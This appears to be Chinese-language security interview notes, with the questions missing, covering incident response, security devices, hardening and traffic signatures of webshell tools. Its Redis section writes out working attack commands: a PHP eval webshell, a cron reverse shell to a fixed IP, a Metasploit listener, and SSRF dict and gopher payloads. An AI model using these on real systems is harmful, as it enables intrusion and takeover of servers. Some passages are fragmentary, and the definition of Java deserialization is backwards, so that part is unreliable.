about:blank#%E5%B8%B8%E8%A7%81%E7%9A%84webshell%E8%BF%9E%E6%8E%A5%E5%B7%A5%E5%85%B7%E6%B5%81%E9%87%8F%EF%BC%9F)
来自外网的误报说明安全设备需要进行策略升级,不需要处置。
如果是来自内网的误报可以和负责人协商一下看能不能解决,有必要的话添加白名单处理。
1.扫描流量数据量大,请求流量有规律可循且频率较高,手工流量请求少,间隔略长
2.使用工具扫描的流量一般在数据包中有相关特征信息,比如说通过wireshark网络封包分析工具对流量进行一个具体的排查分析,比如通过http contains "xxx"来查找数据包中的关键字。
比如常用的漏洞扫描工具AWVS,Nessus以及APPscan在请求的URL,Headers, Body三项里随机包含了能代表自己的特征信息。
1.首先关闭网站,下线服务。有必要的话将服务器断网隔离。
2.手工结合工具进行检测。
工具方面比如使用D盾webshellkill,河马webshell查杀,百度在线webshell查杀等工具对网站目录进行排查查杀,如果是在护网期间可以将样本备份再进行查杀。
手工方面对比未上传webshell前的备份文件,从文件甚至代码层面进行对比,检查有无后门程序或者其他异常文件,实在不行就直接用备份文件替换了。
4.加强安全策略,比如定期备份网站配置文件,及时安装服务器补丁,定期更新组件以及安全防护软件,定期修改密码等等措施。
- 攻击规则匹配通过正则匹配日志中的攻击请求
- 统计方法,统计请求出现次数,次数少于同类请求平均次数则为异常请求
- 白名单模式,为正常请求建立白名单,不在名单范围内则为异常请求
- HMM 模型,类似于白名单,不同点在于可对正常请求自动化建立模型,从而通过正常模型找出不匹配者则为异常请求
- 使用日志分析工具,如LogForensics,Graylog,Nagios,ELK Stack等等
PHP:通达OA、泛微 Eoffice
Java:泛微OA/云桥、致远OA、蓝凌OA、用友OA
ASP:启莱OA
入侵防御系统IPS
是计算机网络安全设施,是对防病毒软件和防火墙的补充。入侵预防系统是一部能够监视网络或网络设备的网络数据传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络数据传输行为。
入侵检测系统IDS
积极主动的防护措施,按照一定的安全策略,通过软件,硬件对网络,系统的运行进行实时的监控,尽可能地发现网络攻击行为,积极主动的处理攻击,保证网络资源的机密性,完整性和可用性。
防火墙
防火墙是位于两个(或多个)网络间,实行网络间访问或控制的一组组件集合之硬件或软件。隔离网络,制定出不同区域之间的访问控制策略来控制不同信任程度区域间传送的数据流。
数据库审计系统
是对数据库访问行为进行监管的系统,通过镜像或者探针的方式采集所有数据库的访问流量,并基于SQL语法,语义的解析技术,记录下对数据库所有访问和操作行为,例如访问数据的用户IP,账号,时间等等,对数据进行操作的行为等等。
日志审计系统
日志审计系统能够通过主被动结合的手段,实时且不间断的采集用户网络中不同厂商的安全设备,网络设备,主机,操作系统以及各种应用系统产生的海量日志信息,并将这些信息汇集到审计中心,进行集中化存储,备份,查询,审计,告警,响应,并出具丰富的报表报告,获悉全网的整体安全运行态势,同时满足等保关于安全管理中心的日志保存时间大于6个月的要求。
堡垒机
是针对内部运维人员的运维安全审计系统。主要功能是对运维人员的运维操作进行审计和权限控制(比如要登录某些平台或者系统只能通过堡垒机才可以,不用堡垒机是无法访问的)。同时堡垒机还有账号集中管理,单点登录(在堡垒机上登录即可实现对多个其他平台的无密登录)等功能。
漏洞扫描系统
漏洞扫描工具或者设备是基于漏洞数据库,通过扫描等手段对指定的远程或本地计算机系统的安全脆弱性进行检测,发现可利用漏洞的一种安全检测系统(我们常用的针对WEB站点进行扫描的工具和此处漏洞扫描系统不是一个概念)。
数据安全态势感知平台
以大数据平台为基础,通过收集多元,异构的海量日志,利用关联分析,机器学习,威胁情报,可视化等技术,帮助用户持续监测网络安全态势,实现从被动防御向积极防御的进阶。
终端安全管理系统
是集防病毒,终端安全管控,终端准入,终端审计,外设管控,EDR等功能于一体,兼容不同操作系统和计算机平台,帮助客户实现平台一体化,功能一体化,数据一体化的终端安全立体防护。
WAF
WAF是以网站或应用系统为核心的安全产品,通过对HTTP或HTTPS的Web攻击行为进行分析并拦截,有效的降低网站安全风险。产品主要部署在网站服务器的前方。通过特征提取和分块检索技术进行模式匹配来达到过滤,分析,校验网络请求包的目的,在保证正常网络应用功能的同时,隔绝或者阻断无效或者非法的攻击请求。
蜜罐
蜜罐是一种安全威胁的主动防御技术,它通过模拟一个或多个易受攻击的主机或服务来吸引攻击者,捕获攻击流量与样本,发现网络威胁,提取威胁特征,蜜罐的价值在于被探测,攻陷。
账户安全
比如设置登录时不显示上次登录的用户名,防止弱口令爆破。
设置账户锁定策略,比如说登录行为限制次数,达到次数后锁定多长时间。
禁用root之外的超级用户 使用password -l <用户名>命令来锁定用户 -u解锁
限制普通用户使用sudo提权,或者说限制提权的权限大小
锁定系统中多余的自建账号
设置账户锁定登录失败锁定次数,锁定时间 faillog -u <用户名>命令来解锁用户
口令安全
设置密码必须符合复杂性要求,比如设置时数字,大写字母,小写字母,特殊字符都要具备
设置最小密码长度不能为0,设置不能使用历史密码
检查shadow中空口令账号,修改口令复杂度,设置密码有效期vim /etc/login.def命令
服务与端口收敛
关闭或者限制常见的高危端口,比如说22端口(SSH),23端口(Telnet),3389端口(RDP)
compmgmt.msc排查计划任务
linux上iptables封禁IP或者限制端口
文件权限管理
linux上chmod修改文件权限 chattr重要文件设置不可修改权限
系统日志审计
linux上设置系统日志策略配置文件
系统日志 /var/log/message
cron日志/var/log/cron
安全日志/var/log/secure
设备和网络控制
比如在涉密计算机上禁止访问外网,为了避免用户绕过策略可以禁止用户修改IP
删除默认路由配置,避免利用默认路由探测网络
禁止使用USB设备比如U盘
禁止ping命令,即禁用ICMP协议访问,不让外部ping通服务器
CobaltStrike是一款渗透测试工具,被业界人称为CS。CobaltStrike分为客户端与服务端,服务端是一个,客户端可以有多个,可用于团队分布式协同操作。
功能
CobaltStrike 集成了端口转发,服务扫描,自动化溢出,多模式端口监听,windows exe 木 马生成,windows dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑。钓鱼攻击等功能。
一般使用步骤就是,先启动服务端,然后启动客户端连接获得一个可视化的界面,新建监听器来接收会话,生成木马文件(常见.exe可执行文件,office宏病毒,html应用程序类型的后门文件),上传到受害者主机,当受害者运行该木马文件时目标主机就在CS上线了。
分类:
WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的;嵌入型指的是web容器模块类型WAF、代码层WAF。
Web应用防火墙是通过执行一系列针对HTTP或者HTTPS的安全策略来专门为Web应用提供保护的一款产品。WAF对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。
PowerShell 是一种命令行外壳程序和脚本环境,主要用于Windows计算机方便管理员进行系统管理并有可能在未来取代Windows上的默认命令提示符。PowerShell脚本因其良好的功能特性常用于正常的系统管理和安全配置工作。
常见的操作 pwd ls cd mkdir rm
get-process获取所有进程信息
get-date获取当前时间信息
get-host获取当前主机信息
然后就是使用PowersSploit(基于Powershell的后渗透框架软件,包括了很多Power shell攻击脚本,主要用于渗透中的信息收集,权限提升,权限维持)的时候在Powshell上使用过一些下载和运行攻击脚本的命令。
简介:
****是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程。
模块:
Auxiliary(辅助模块)
为渗透测试信息搜集提供了大量的辅助模块支持
Exploits(攻击模块)
利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击,从而获得对远程目标系统访问权的代码组件。
Payload(攻击载荷模块)
攻击成功后促使靶机运行的一段植入代码
Post (后渗透攻击模块)
收集更多信息或进一步访问被利用的目标系统
Encoders(编码模块)
将攻击载荷进行编码,来绕过防护软件拦截
使用:
首先利用Auxiliary辅助探测模块扫描,嗅探,指纹识别相关漏洞,然后确认漏洞存在使用Exploit漏洞利用模块对漏洞进行利用,包括设置payload攻击载荷,设置本机监听等等。漏洞利用成功目标主机就会通过设置的端口主动连接,产生会话。进而可以进行后渗透。
功能:
木马免杀,抓取用户密码,关闭杀毒软件,屏幕截图,新建账号,远程登录,迁移进程,提权操作,网络嗅探,端口转发 ,内网代理,内网扫描,生成后门,清除日志等等。
1、知道web绝对路径
2、有文件写入权限(一般情况只有ROOT用户有)
3、数据库开启了secure_file_priv设置
常见手法:
联合注入写入
dumpfile函数写入
lines terminated by 写入
lines starting by 写入
fields terminated by 写入
columns terminated by 写入
sqlmap写入
Java反序列化
Java反序列化就是将java对象转化为字节序列的过程。反序列化的过程就是
1,创建一个对象输出流
2,通过对象输出流的ReadObject()方法来读取对象
答;
log4j远程代码执行漏洞
Log4j 是Apache 的一个开源项目,是一款基于Java 的开源日志记录工具。该漏洞主要是由于日志在打印时当遇到`${`后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞。
具体操作:
在正常的log处理过程中对**${**这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制,将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行
Fastjson反序列化漏洞
正常请求是get请求并且没有请求体,可以通过构造错误的POST请求,即可查看在返回包中是否有fastjson这个字符串来判断。
fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。
无回显怎么办:
1.一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果
2.通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了
3.直接将命令执行结果回显到请求Poc的HTTP响应中
Shiro反序列化漏洞
Shiro是Apache下的一个开源Java安全框架,执行身份认证,授权,密码和会话管理。shiro在用户登录时除了账号密码外还提供了可传递选项remember me。用户在登录时如果勾选了remember me选项,那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求,就不需要重新输入用户名和密码。
1.数据返回包中包含rememberMe=deleteMe字段。
2.直接发送原数据包,返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段:****rememberMe=然后查看返回数据包中是否存在关键字。
shiro-550:
shiro反序列化漏洞利用有两个关键点,首先是在shiro<1.2.4时,AES加密的密钥Key被硬编码在代码里,只要能获取到这个key就可以构造恶意数据让shiro识别为正常数据。另外就是shiro在验证rememberMe时使用了readObject方法,readObject用来执行反序列化后需要执行的代码片段,从而造成恶意命令可以被执行。攻击者构造恶意代码,并且序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行编码,解密并且反序列化,最终造成反序列化漏洞。
shiro-721:
不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember。
redis是一个非关系型数据库,使用的默认端口是6379。常见的漏洞是未授权访问漏洞,攻击者无需认证就可以访问内部数据。利用手段主要有:
1.向root权限账户写入ssh公钥文件,直接免密登录服务器。(受害者redis非root权限运行会报错)
服务器存在.ssh目录且具有写入的权限
在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
2.写入webshell
已知web绝对路径。
1. redis -cli -h 192.168.x.x 连接目标服务器
2. config set dir “/var/www/html” 设置保存文件路径
3. config set dbfilename shell.php 设置保存文件名
4. set x “ <?php @eval($_POST['cmd']); ?> ” 将webshell写入x键值中
5. save 保存
局限:
1.服务器处于内网,写入webshell后我们的公网IP无法连接
2.服务器IP地址不固定
3.6379端口不允许入方向
4.上传webshell可能直接被杀毒软件删除
3.反弹连接shell
设置监听端口,常用的工具1.msf 2.netcat 3.socat
利用msf设置监听步骤:
1. use exploit/multi/handler
2. set payload generic/shell_reverse_tcp
3. set lhost 192.168.x.x 默认监听端口为4444
4. run
4.定时任务反弹shell
定时任务用的表达式 :Cron表达式是一个字符串,该字符串由6个空格分为7个域,每一个域代表一个时间含义。分 时 天 月 周 user-name(用户) command(命令) 比如每过一分钟向root用户的定时任务中写入反弹连接命令
(1) config set dir /var/spool/cron/ //目录切换到定时任务的文件夹中
(2) config set dbfilename root //设置保存文件名
(3)set x “ * * * * * bash -i >& /dev/tcp/192.168.96.222/7777 0>&1 ” //将反弹shell写入x键值中
(4)save //保存
利用定时任务反弹shell在目标系统是Centos上可用,Ubuntu上有限制
理由如下:
1.默认redis写文件后是644的权限,但ubuntu要求执行定时任务件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错,而Centos的定时任务文件权限644也能执行
2.redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
3.两个系统的定时任务文件目录不同
利用主从复制getshell
版本(4.x~5.0.5)
数据读写体量很大时,为了减轻服务器的压力,redis提供了主从模式,主从模式就是指定一个redis实例作为主机,其余的作为从机,其中主机和从机的数据是相同的,而从机只负责读,主机只负责写。通过读写分离可以减轻服务器端的压力。
利用工具:
RedisRogueServer
地址:
https://github.com/n0b0dyCN/redis-rogue-server
使用工具的命令:
python3 redis-rogue-server.py --rhost=x.x.x.x --lhost=x.x.x.x --exp=exp.so
两种使用方法:
交互式
反弹式
限制:
利用这个方法getshell或者rce任意导致redis服务瘫痪,一般不建议使用
redis未授权访问漏洞的防范措施:
1.添加登录密码
2.修改默认端口
3.关闭端口
4.禁止以root用户权限启动,以低权限启动redis服务
主要通过两种协议,dict协议和gopher协议。
dict协议利用redis相关漏洞:
探测端口:
ssrf.php?url=dict://x.x.x.x: 利用burpsuite爆破端口
探测是否设置弱口令:
ssrf.php?url=dict://x.x.x.x:6379/info 已知端口利用info探测是否设置了密码
爆破密码:
ssrf.php?url=dict://x.x.x.x:6379/auth: 利用burpsuite爆破密码
写入webshell:
1. url=dict://xxx.xxx:6379/config:set:dir:/var/www/html 切换文件目录
2. url=dict://xxx.xxx:6379/config:set:dbfilename:webshell.php 设置保存文件名
3. url=dict://xxx.xxx:6379/set:webshell:“x3cx3fx70x68x70x20x70x68x70x69x6ex66x6fx28x29x3bx3fx3e”
//利用dict协议写入webshell 以上的字符编码是<?php phpinfo();?>的十六进制
4.ssrf.php?url=dict://x.x.x.x:6379/save 保存
dict协议利用计划任务反弹shell或者写入ssh公钥的手段类似
gopher协议利用redis未授权访问漏洞写入webshell:
常规利用步骤:
set x “
<?php @eval($_POST['redis']);?>
”
config set dir /var/www/html
config set dbfilename shell.php
save
两次url编码后构造url:
//第一次url解码和第二次url解码
//同理其他类似计划任务反弹和写入ssh公钥等getshell方式相似
可疑账号排查 lusrmgr.msc
1.检查服务器是否有弱口令。比如空口令或者密码复杂度不够。
2.高危端口是否对外开放,比如SSH服务22端口,RDP服务3389端口等。
3.查看服务器是否有可疑账号。
- 手工方面:lusrmgr.msc命令查看用户和组,查看是否有新增账号,隐藏账号,克隆账号。
- 工具方面:比如利用D盾等工具来检测隐藏账号。
4.结合日志分析 eventvwr.msc 查看管理员登录时间,相关事件是否有异常。
敏感事件ID:
- 4624 登录成功
- 4625 登录失败
- 4672 使用超级管理员进行登录
- 4720 创建用户
5.使用query user查看当前系统的会话,比如查看是否有人使用远程登录服务器。
可疑进程和服务排查 taskmgr services.msc
1.查看CPU,内存,网络等资源是否有可疑状况。比如CPU占用率过高可能是中了挖矿病毒,磁盘空间大量占用可能是脚本或病毒大量生成和复制隐藏文件。
2.检查进程名
- 某些进程名是大量随机的情况,比如hrlC3.tmp、hrlD5.tmp、hrl6.tmp、hrlEE.tmp等多个名字相似的进程,基本上可以断定是异常进程。
- 异常进程名伪装成系统进程或者说常见服务的进程名,此时可以通过进程描述来判断,并且需要手工对比。
3.检查进程和服务描述,修改时间或者数字签名是否有异常。
4.利用工具进行检测,比如Process Hunter或者火绒剑等专门针对进程服务信息的排查分析工具,主要查看的是公司名,描述,安全状态和启动类型等方面来排查。
可疑启动项排查 msconfig
1. msconfig或者任务管理器中的启动项查看名称,发布者和启动影响,以及右键查看属性来看数字签名和修改时间。
2. 结合工具进行排查,比如火绒剑等工具,会将启动项分类为登录,驱动程序,计划任务,映像劫持等,利用分析排查
可疑文件排查
1.各个磁盘的Temp/tmp目录中是Windows产生的临时文件,查看有无异常文件。
2.Recent目录会记录最近打开的文档以及程序的相关记录。
3.查看文件的创建时间,修改时间和访问时间,比如说攻击者利用菜刀等工具对文件进行修改会改变修改时间,如果修改时间在创建时间之前,那就是很明显的可疑文件。
4.windows系统我的电脑快速访问,可以看到最近使用的文件,比如说图片或者压缩包等文件的使用历史和文件路径都会显示。
恶意样本排查
1.恶意样本指的一般是webshell,病毒,木马或者后门程序或文件,可以根据设备的告警信息来查找相关路径,再排查相关的进程和启动项。
2.不知道路径的话可以利用相关的安全设备来进行检测,比如说通过D盾,河马查杀等工具对webshell可能存在的目录进行一个排查查杀,利用常规的防火墙软件来对全盘或者可疑目录扫描病毒。
中国菜刀
连接过程中使用base64编码对发送的指令进行加密,其中两个关键payload z1 和 z2,名字都是可变的。
然后还有一段以QG开头,7J结尾的固定代码。
蚁剑
默认的user-agent请求头是antsword xxx,不过可以修改。
一般将payload进行分段,然后分别进行base64编码,一般具有像eval这样的关键字,然后呢大概率还有@ini_set(“display”,“0”);这段代码。
冰蝎
php代码中可能存在eval,assert等关键词,jsp代码中可能会有getclass(),getclassLoader()等字符特征。
冰蝎2.0
第一阶段请求中返回包的状态码是200,返回内容是16位的密钥。建立连接后的cookie格式都是cookie:PHPSessid=xxxx ;path=/;特征。
冰蝎3.0
请求包中的conten-length字段是5740或者5720,然后请求头也具有特征信息,不过这个比较长,没有记住。
哥斯拉
1.jsp代码中可能会具有getclass,getclassLoader等关键字,payload使用base64编码等特征。php和asp则是普通的一句话木马。
2.在响应包的cache-control字段中有no-store,no-cache等特征。
3.所有请求中的cookie字段最后面都存在;特征。